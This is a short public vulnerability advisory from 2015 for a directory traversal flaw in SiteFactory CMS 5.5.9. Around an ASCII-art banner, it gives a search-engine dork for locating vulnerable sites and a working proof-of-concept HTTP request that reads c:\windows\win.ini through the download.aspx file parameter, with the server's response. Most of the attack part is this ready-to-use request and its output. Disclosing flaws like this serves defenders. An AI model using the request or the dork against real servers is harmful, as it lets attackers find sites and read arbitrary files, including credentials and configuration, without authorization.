SiteFactory CMS 5.5.9 Directory Traversal

` |||||||||||||| [+] Title: SiteFactory CMS 5.5.9 Path Traversal File  
= \ , [+] Date: [19-8-2015]  
= | [+] Autor Guillermo Garcia Marcos   
_= ___/ [+] Vendor: http://www.mindbite.se/  
/ _\ (o)\ [+] Dork : inurl:/sitefactory/assets/  
| | \ _ \ [+] info: The file parameter is vulnerable to path traversal attacks,  
| |/ (____) enabling read access to arbitrary files on the server.  
\__/ / | Latest versions can be vulnerable.  
/ / ___) [+] Timeline research:  
/ \ \ _) ) 18-8-2015: Bug found  
\ \ / ( 19-8-2015: Public disclosure  
\/ \ \_________/ |\_________________,_ )  
\/ \ / | ==== _______)__)  
\/ \ / __/___ ====_/  
\/ \ / (O____)\\_(_/  
(O_ ____)  
(O____)  
[+]PoC:  
  
Request :  
  
GET /sitefactory/assets/download.aspx?file=c%3a\windows\win.ini HTTP/1.1  
Host: censored-host.com  
  
Response:  
  
HTTP/1.1 200 OK  
Cache-Control: private  
Content-Type: application/octet-stream  
Server: Microsoft-IIS/7.0  
X-AspNet-Version: 4.0.30319  
content-disposition: attachment; filename=win.ini  
X-Powered-By: ASP.NET  
Date: Tue, 18 Aug 2015 17:58:14 GMT  
Content-Length: 92  
  
; for 16-bit app support  
[fonts]  
[extensions]  
[mci extensions]  
[files]  
[Mail]  
MAPI=1  
  
  
  
  
// https://twitter.com/GuilleSec  
`